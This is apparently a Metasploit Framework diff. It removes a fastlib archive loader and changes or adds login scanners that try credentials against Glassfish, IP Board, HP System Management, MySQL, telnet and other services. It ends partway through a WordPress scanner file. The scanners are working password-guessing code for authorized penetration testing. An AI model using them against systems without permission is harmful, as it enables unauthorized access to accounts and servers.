::File.open(lib, 'rb') do |fd| - dict = {} - head = fd.read(4) - return if head != "FAST" - hlen = fd.read(4).unpack("N")[0] - flag = fd.read(4).unpack("N")[0] - - @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ] - @@cache[lib][:fastlib_flags] = flag - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - - while nlen > 0 - name = fastlib_filter_decode( lib, fd.read(nlen) ) - dict[name] = [doff, dlen, tims] - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - end - - @@cache[lib].merge!(dict) - end - - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_decode(lib, buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data| - stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_decrypt].call( buff ) - end - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Inflate.new - buff = z.inflate(buff) - buff << z.finish - z.close - end - - buff - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_encode(lib, buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Deflate.new - buff = z.deflate(buff) - buff << z.finish - z.close - end - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data| - stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_encrypt].call( buff ) - end - - buff - end - - - # This method provides a way to create a FASTLIB archive programatically. - # - # @param [String] lib the output path for the archive - # @param [String] flag a string containing the hex values for the - # flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}). - # @param [String] bdir the path to the base directory which will be - # stripped from all paths included in the archive - # @param [Array] dirs list of directories/files to pack into - # the archive. All dirs should be under bdir so that the paths are - # stripped correctly. - # @return [void] - def self.dump(lib, flag, bdir, *dirs) - head = "" - data = "" - hidx = 0 - didx = 0 - - bdir = bdir.gsub(/\/$/, '') - brex = /^#{Regexp.escape(bdir)}\// - - @@cache[lib] = { - :fastlib_flags => flag.to_i(16) - } - - dirs.each do |dir| - ::Find.find(dir) do |path| - next if not ::File.file?(path) - name = fastlib_filter_encode( lib, path.sub( brex, "" ) ) - - buff = "" - ::File.open(path, "rb") do |fd| - buff = fastlib_filter_encode(lib, fd.read(fd.stat.size)) - end - - - head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN") - head << name - hidx = hidx + 16 + name.length - - data << buff - didx = didx + buff.length - end - end - - head << [0,0,0].pack("NNN") - - ::File.open(lib, "wb") do |fd| - fd.write("FAST") - fd.write( [ head.length, flag.to_i(16) ].pack("NN") ) - fd.write( head ) - fd.write( data ) - end - end - - # - # This archive provides a way to list the contents of an archive - # file, returning the names only in sorted order. - # - def self.list(lib) - load_cache(lib) - ( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] } - end - - # - # This method is called on the loaded is required to expand __FILE__ - # and other inline dynamic constants to map to the correct location. - # - def self.post_process(lib, name, data) - data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'") - end - - # - # This is a stub crypto handler that performs a basic XOR - # operation against a fixed one byte key. The two usable IDs - # are 12345600 and 00000000 - # - def self.encrypt_12345600(data) - encrypt_00000000(data) - end - - def self.decrypt_12345600(data) - encrypt_00000000(data) - end - - def self.encrypt_00000000(data) - data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*") - end - - def self.decrypt_00000000(data) - encrypt_00000000(data) - end - - # - # Expose the cache to callers - # - def self.cache - @@cache - end -end - - -# -# Allow this library to be used as an executable to create and list -# FASTLIB archives -# -if __FILE__ == $0 - cmd = ARGV.shift - unless ["store", "list", "version"].include?(cmd) - $stderr.puts "Usage: #{$0} [dump|list|version] " - exit(0) - end - - case cmd - when "store" - dst = ARGV.shift - flg = ARGV.shift - dir = ARGV.shift - src = ARGV - unless dst and dir and src.length > 0 - $stderr.puts "Usage: #{$0} store destination.fastlib flags base_dir src1 src2 ... src99" - exit(0) - end - FastLib.dump(dst, flg, dir, *src) - - when "list" - src = ARGV.shift - unless src - $stderr.puts "Usage: #{$0} list" - exit(0) - end - $stdout.puts "Library: #{src}" - $stdout.puts "=====================================================" - FastLib.list(src).each do |name| - fsize = FastLib.cache[src][name][1] - ftime = ::Time.at(FastLib.cache[src][name][2]).strftime("%Y-%m-%d %H:%M:%S") - $stdout.puts sprintf("%9d\t%20s\t%s\n", fsize, ftime, name) - end - $stdout.puts "" - - when "version" - $stdout.puts "FastLib Version #{FastLib.version}" - end - - exit(0) -end - -# -# FASTLIB archive format (subject to change without notice) -# -=begin - - * All integers are 32-bit and in network byte order (big endian / BE) - * The file signature is 0x46415354 (big endian, use htonl() if necessary) - * The header is always 12 bytes into the archive (magic + header length) - * The data section is always 12 + header length into the archive - * The header entries always start with 'fastlib_header' - * The header entries always consist of 16 bytes + name length (no alignment) - * The header name data may be encoded, compressed, or transformed - * The data entries may be encoded, compressed, or transformed too - - - 4 bytes: "FAST" - 4 bytes: NBO header length - 4 bytes: NBO flags (24-bit crypto ID, 8 bit modes) - [ - 4 bytes: name length (0 = End of Names) - 4 bytes: data offset - 4 bytes: data length - 4 bytes: timestamp - ] - [ Raw Data ] - -=end - - -module Kernel #:nodoc:all - alias :fastlib_original_require :require - - # - # Store the CWD when were initially loaded - # required for resolving relative paths - # - @@fastlib_base_cwd = ::Dir.pwd - - # - # This method hooks the original Kernel.require to support - # loading files within FASTLIB archives - # - def require(name) - fastlib_require(name) || fastlib_original_require(name) - end - - # - # This method handles the loading of FASTLIB archives - # - def fastlib_require(name) - if name.respond_to? :to_path - name = name.to_path - end - - name = name + ".rb" if not name =~ /\.rb$/ - return false if fastlib_already_loaded?(name) - return false if fastlib_already_tried?(name) - - # XXX Implement relative search paths within archives - $:.map{ |path| - (path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) ) - }.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib| - data = FastLib.load(lib, name) - next if not data - $" << name - - Object.class_eval(data, lib + "::" + name) - - return true - end - - $fastlib_miss << name - - false - end - - # - # This method determines whether the specific file name - # has already been loaded ($LOADED_FEATURES aka $") - # - def fastlib_already_loaded?(name) - re = Regexp.new("^" + Regexp.escape(name) + "$") - $".detect { |e| e =~ re } != nil - end - - # - # This method determines whether the specific file name - # has already been attempted with the included FASTLIB - # archives. - # - # TODO: Ensure that this only applies to known FASTLIB - # archives and that newly included archives will - # be searched appropriately. - # - def fastlib_already_tried?(name) - $fastlib_miss ||= [] - $fastlib_miss.include?(name) - end -end - - - - diff --git a/lib/metasm/metasm/cpu/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb index 2cb133becd27..4c50fdafb271 100644 --- a/lib/metasm/metasm/cpu/x86_64/compile_c.rb +++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb @@ -879,19 +879,20 @@ def c_ifgoto(expr, target) r = c_cexpr_inner(expr.rexpr) r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz - l = make_volatile(l, expr.type) if l.kind_of?(ModRM) + l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz if l.kind_of? Expression o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o l, r = r, l end - unuse l, r if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX - instr 'cmp', l, i_to_i32(r) + rr = i_to_i32(r) + rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX + instr 'cmp', l, rr elsif expr.lexpr.type.float? raise 'float unhandled' else raise 'bad comparison ' + expr.to_s end + unuse l, r op = 'j' + getcc(o, expr.lexpr.type) instr op, Expression[target] when :'!' diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index 1555b005325a..aa488aea2a4d 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -9,6 +9,7 @@ require 'bcrypt' require 'json' require 'msgpack' +require 'metasploit/concern' require 'metasploit/model' require 'nokogiri' require 'packetfu' diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb index 6f3ee27b90cb..e7b70d29a410 100644 --- a/lib/metasploit/framework/login_scanner/axis2.rb +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -20,6 +20,8 @@ def attempt_login(credential) host, port, {}, ssl, ssl_version ) + http_client = config_client(http_client) + result_opts = { credential: credential, host: host, diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 2d40fb948d15..fc093984abd8 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -77,6 +77,14 @@ def attempt_login(credential) raise NotImplementedError end + # @note Override this to detect that the service is up, is the right + # version, etc. + # @return [false] Indicates there were no errors + # @return [String] a human-readable error message describing why + # this scanner can't run + def check_setup + false + end def each_credential cred_details.each do |raw_cred| @@ -85,6 +93,11 @@ def each_credential credential = raw_cred.to_credential if credential.realm.present? && self.class::REALM_KEY.present? + # The class's realm_key will always be the right thing for the + # service it knows how to login to. Override the credential's + # realm_key if one exists for the class. This can happen for + # example when we have creds for DB2 and want to try them + # against Postgres. credential.realm_key = self.class::REALM_KEY yield credential elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? @@ -93,12 +106,14 @@ def each_credential yield credential elsif credential.realm.present? && self.class::REALM_KEY.blank? second_cred = credential.dup - # Strip the realm off here, as we don't want it + # This service has no realm key, so the realm will be + # meaningless. Strip it off. credential.realm = nil credential.realm_key = nil yield credential # Some services can take a domain in the username like this even though # they do not explicitly take a domain as part of the protocol. + # e.g., telnet second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" second_cred.realm = nil second_cred.realm_key = nil diff --git a/lib/metasploit/framework/login_scanner/ftp.rb b/lib/metasploit/framework/login_scanner/ftp.rb index 14ac215f1169..98b2b2f8357d 100644 --- a/lib/metasploit/framework/login_scanner/ftp.rb +++ b/lib/metasploit/framework/login_scanner/ftp.rb @@ -41,7 +41,7 @@ def attempt_login(credential) begin success = connect_login(credential.public, credential.private) - rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + rescue ::EOFError, Errno::ECONNRESET, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT success = false end diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb new file mode 100644 index 000000000000..40f5bc5f8d81 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -0,0 +1,221 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The Glassfish HTTP LoginScanner class provides methods to do login routines + # for Glassfish 2, 3 and 4. + class Glassfish < HTTP + + DEFAULT_PORT = 4848 + PRIVATE_TYPES = [ :password ] + + # @!attribute [r] version + # @return [String] Glassfish version + attr_reader :version + + # @!attribute jsession + # @return [String] Cookie session + attr_accessor :jsession + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => '/common/index.jsf'}) + return "Connection failed" if res.nil? + if !([200, 302].include?(res.code)) + return "Unexpected HTTP response code #{res.code} (is this really Glassfish?)" + end + + # If remote login is enabled on 4.x, it redirects to https on the + # same port. + if !self.ssl && res.headers['Location'] =~ /^https:/ + self.ssl = true + res = send_request({'uri' => '/common/index.jsf'}) + if res.nil? + return "Connection failed after SSL redirection" + end + if res.code != 200 + return "Unexpected HTTP response code #{res.code} after SSL redirection (is this really Glassfish?)" + end + end + + res = send_request({'uri' => '/login.jsf'}) + return "Connection failed" if res.nil? + extract_version(res.headers['Server']) + + if @version.nil? || @version !~ /^[2349]/ + return "Unsupported version ('#{@version}')" + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /JSESSIONID=(\w*);/i + self.jsession = $1 + end + + res + end + + + # As of Sep 2014, if Secure Admin is disabled, it simply means the admin isn't allowed + # to login remotely. However, the authentication will still run and hint whether the + # password is correct or not. + # + # @param res [Rex::Proto::Http::Response] The HTTP auth response + # @return [boolean] True if disabled, otherwise false + def is_secure_admin_disabled?(res) + return (res.body =~ /Secure Admin must be enabled/i) ? true : false + end + + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_login(credential) + data = "j_username=#{Rex::Text.uri_encode(credential.public)}&" + data << "j_password=#{Rex::Text.uri_encode(credential.private)}&" + data << 'loginButton=Login' + + opts = { + 'uri' => '/j_security_check', + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "JSESSIONID=#{self.jsession}", + } + } + + send_request(opts) + end + + + # Tries to login to Glassfish version 2 + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_glassfish_2(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/applications/upload.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + p = /Deploy Enterprise Applications\/Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Tries to login to Glassfish version 3 or 4 (as of now it's the latest) + # + # @param (see #try_glassfish_2) + # @return (see #try_glassfish_2) + def try_glassfish_3(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/common/applications/uploadFrame.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + + p = /<title>Deploy Applications or Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + elsif res && is_secure_admin_disabled?(res) + return {:status => Metasploit::Model::Login::Status::DENIED_ACCESS, :proof => res.body} + elsif res && res.code == 400 + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.body} + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + case self.version + when /^[29]\.x$/ + status = try_glassfish_2(credential) + result_opts.merge!(status) + when /^[34]\./ + status = try_glassfish_3(credential) + result_opts.merge!(status) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + end + + # + # Extract the target's glassfish version from the HTTP Server header + # (ex: Sun Java System Application Server 9.x) + # + # @param banner [String] `Server` header from a Glassfish service response + # @return [String] version string, e.g. '2.x' + # @return [nil] If the banner did not match any of the expected values + def extract_version(banner) + # Set version. Some GlassFish servers return banner "GlassFish v3". + if banner =~ /(GlassFish Server|Open Source Edition)[[:blank:]]*(\d\.\d)/ + @version = $2 + elsif banner =~ /GlassFish v(\d)/ + @version = $1 + elsif banner =~ /Sun GlassFish Enterprise Server v2/ + @version = '2.x' + elsif banner =~ /Sun Java System Application Server 9/ + @version = '9.x' + else + @version = nil + end + + return @version + end + + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index 45c661d0de85..03ff1b6b1991 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -29,12 +29,48 @@ class HTTP # @return [String] HTTP method, e.g. "GET", "POST" attr_accessor :method + # @!attribute user_agent + # @return [String] the User-Agent to use for the HTTP requests + attr_accessor :user_agent + + # @!attribute vhost + # @return [String] the Virtual Host name for the target Web Server + attr_accessor :vhost + + validates :uri, presence: true, length: { minimum: 1 } validates :method, presence: true, length: { minimum: 1 } + # (see Base#check_setup) + def check_setup + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + begin + # Use _send_recv instead of send_recv to skip automatiu + # authentication + response = http_client._send_recv(request) + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + error_message = "Unable to connect to target" + end + + if !(response && response.code == 401 && response.headers['WWW-Authenticate']) + error_message = "No authentication required" + else + error_message = false + end + + error_message + end + # Attempt a single login with a single credential against the target. # # @param credential [Credential] The credential object to attempt to @@ -62,6 +98,9 @@ def attempt_login(credential) host, port, {}, ssl, ssl_version, nil, credential.public, credential.private ) + + http_client = config_client(http_client) + if credential.realm http_client.set_config('domain' => credential.realm) end @@ -73,20 +112,9 @@ def attempt_login(credential) 'method' => method ) - # First try to connect without logging in to make sure this - # resource requires authentication. We use #_send_recv for - # that instead of #send_recv. - response = http_client._send_recv(request) - if response && response.code == 401 && response.headers['WWW-Authenticate'] - # Now send the creds - response = http_client.send_auth( - response, request.opts, connection_timeout, true - ) - if response && response.code == 200 - result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) - end - else - result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) + response = http_client.send_recv(request) + if response && response.code == 200 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) end rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) @@ -99,6 +127,14 @@ def attempt_login(credential) private + def config_client(client) + client.set_config( + 'vhost' => vhost || host, + 'agent' => user_agent + ) + client + end + # This method sets the sane defaults for things # like timeouts and TCP evasion options def set_sane_defaults diff --git a/lib/metasploit/framework/login_scanner/invalid.rb b/lib/metasploit/framework/login_scanner/invalid.rb index 73799a047980..e50607a5692f 100644 --- a/lib/metasploit/framework/login_scanner/invalid.rb +++ b/lib/metasploit/framework/login_scanner/invalid.rb @@ -13,6 +13,7 @@ def initialize(model) @model = model errors = @model.errors.full_messages.join(', ') + errors << " (#{model.class.to_s})" super(errors) end end diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb new file mode 100644 index 000000000000..4d73da0b8dfd --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -0,0 +1,105 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # IP Board login scanner + class IPBoard < HTTP + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + http_client = config_client(http_client) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + + nonce_request = http_client.request_cgi( + 'uri' => uri, + 'method' => 'GET' + ) + + nonce_response = http_client.send_recv(nonce_request) + + if nonce_response.body =~ /name='auth_key'\s+value='.*?((?:[a-z0-9]*))'/i + server_nonce = $1 + + if uri.end_with? '/' + base_uri = uri.gsub(/\/$/, '') + else + base_uri = uri + end + + auth_uri = "#{base_uri}/index.php" + + request = http_client.request_cgi( + 'uri' => auth_uri, + 'method' => 'POST', + 'vars_get' => { + 'app' => 'core', + 'module' => 'global', + 'section' => 'login', + 'do' => 'process' + }, + 'vars_post' => { + 'auth_key' => server_nonce, + 'ips_username' => credential.public, + 'ips_password' => credential.private + } + ) + + response = http_client.send_recv(request) + + if response && response.get_cookies.include?('ipsconnect') && response.get_cookies.include?('coppa') + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + + else + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Server nonce not present, potentially not an IP Board install or bad URI.") + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/forum/" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for IPBoard" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/mysql.rb b/lib/metasploit/framework/login_scanner/mysql.rb index 6d915d48fe07..2899adc4ea3d 100644 --- a/lib/metasploit/framework/login_scanner/mysql.rb +++ b/lib/metasploit/framework/login_scanner/mysql.rb @@ -16,59 +16,70 @@ class MySQL include Metasploit::Framework::Tcp::Client DEFAULT_PORT = 3306 - LIKELY_PORTS = [ 3306 ] - LIKELY_SERVICE_NAMES = [ 'mysql' ] - PRIVATE_TYPES = [ :password ] - REALM_KEY = nil + LIKELY_PORTS = [3306] + LIKELY_SERVICE_NAMES = ['mysql'] + PRIVATE_TYPES = [:password] + REALM_KEY = nil def attempt_login(credential) result_options = { - credential: credential, - host: host, - port: port, - protocol: 'tcp', - service_name: 'mysql' + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mysql' } - # manage our behind the scenes socket. Close any existing one and open a new one - disconnect if self.sock - connect - begin + # manage our behind the scenes socket. Close any existing one and open a new one + disconnect if self.sock + connect + ::RbMysql.connect({ - :host => host, - :port => port, - :read_timeout => 300, - :write_timeout => 300, - :socket => sock, - :user => credential.public, - :password => credential.private, - :db => '' + :host => host, + :port => port, + :read_timeout => 300, + :write_timeout => 300, + :socket => sock, + :user => credential.public, + :password => credential.private, + :db => '' + }) + + rescue Rex::HostUnreachable + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Host was unreachable" }) - rescue Errno::ECONNREFUSED + rescue Errno::ECONNREFUSED, Rex::ConnectionRefused result_options.merge!({ status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, - proof: "Connection refused" + proof: "Connection refused" }) rescue RbMysql::ClientError result_options.merge!({ - status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, - proof: "Connection timeout" + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection timeout" }) - rescue Errno::ETIMEDOUT + rescue Errno::ETIMEDOUT, Rex::ConnectionTimeout result_options.merge!({ - status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, - proof: "Operation Timed out" + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Operation Timed out" }) rescue RbMysql::HostNotPrivileged result_options.merge!({ - status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, - proof: "Unable to login from this host due to policy" + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Unable to login from this host due to policy" }) rescue RbMysql::AccessDeniedError result_options.merge!({ - status: Metasploit::Model::Login::Status::INCORRECT, - proof: "Access Denied" + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Access Denied" + }) + rescue RbMysql::HostIsBlocked + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Host blocked" }) end @@ -92,4 +103,4 @@ def set_sane_defaults end end -end +end \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb index 0ecfc06e1f0d..0ee823ee17b3 100644 --- a/lib/metasploit/framework/login_scanner/postgres.rb +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -60,6 +60,8 @@ def attempt_login(credential) proof: e.message }) end + rescue Rex::ConnectionError, EOFError, Timeout::Error + result_options.merge!({status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT }) end if pg_conn diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb index 43a05955aa63..ad87714954f7 100644 --- a/lib/metasploit/framework/login_scanner/smb.rb +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -149,7 +149,16 @@ def attempt_login(credential) begin connect rescue ::Rex::ConnectionError => e - return Result.new(credential:credential, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + result = Result.new( + credential:credential, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e, + host: host, + port: port, + protocol: 'tcp', + service_name: 'smb' + ) + return result end proof = nil diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb new file mode 100644 index 000000000000..bccb75b9014e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -0,0 +1,58 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # HP System Management login scanner tested on v6.3.1.24 upto v7.2.1.3 and 7.4 + class Smh < HTTP + + DEFAULT_PORT = 4848 + PRIVATE_TYPES = [ :password ] + CAN_GET_SESSION = true + + + # (see Base#attempt_login) + def attempt_login(credential) + result_opts = { + credential: credential + } + + req_opts = { + 'method' => 'POST', + 'uri' => '/proxy/ssllogin', + 'vars_post' => { + 'redirecturl' => '', + 'redirectquerystring' => '', + 'user' => credential.public, + 'password' => credential.private + } + } + + res = nil + + begin + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_cgi(req_opts) + res = cli.send_recv(req) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, ::EOFError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + return Result.new(result_opts) + end + + if res && res.headers['CpqElm-Login'].to_s =~ /success/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + end + + Result.new(result_opts) + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb index ec9c374292d8..552e72b2e018 100644 --- a/lib/metasploit/framework/login_scanner/telnet.rb +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -55,41 +55,45 @@ def attempt_login(credential) service_name: 'telnet' } - if connect_reset_safe == :refused - result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - else - if busy_message? - self.sock.close unless self.sock.closed? + begin + if connect_reset_safe == :refused result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - end - end - - unless result_options[:status] - unless password_prompt? - send_user(credential.public) - end - - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + else + if busy_message? + self.sock.close unless self.sock.closed? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end end - if password_prompt?(credential.public) - send_pass(credential.private) + unless result_options[:status] + unless password_prompt? + send_user(credential.public) + end + recvd_sample = @recvd.dup # Allow for slow echos 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] end - end - if login_succeeded? - result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL - else - result_options[:status] = Metasploit::Model::Login::Status::INCORRECT - end + if password_prompt?(credential.public) + send_pass(credential.private) + + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end + end + if login_succeeded? + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + end + rescue ::EOFError, Errno::ECONNRESET, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end ::Metasploit::Framework::LoginScanner::Result.new(result_options) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb new file mode 100644 index 000000000000..bf4c4c65d30a --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -0,0 +1,80 @@ +require 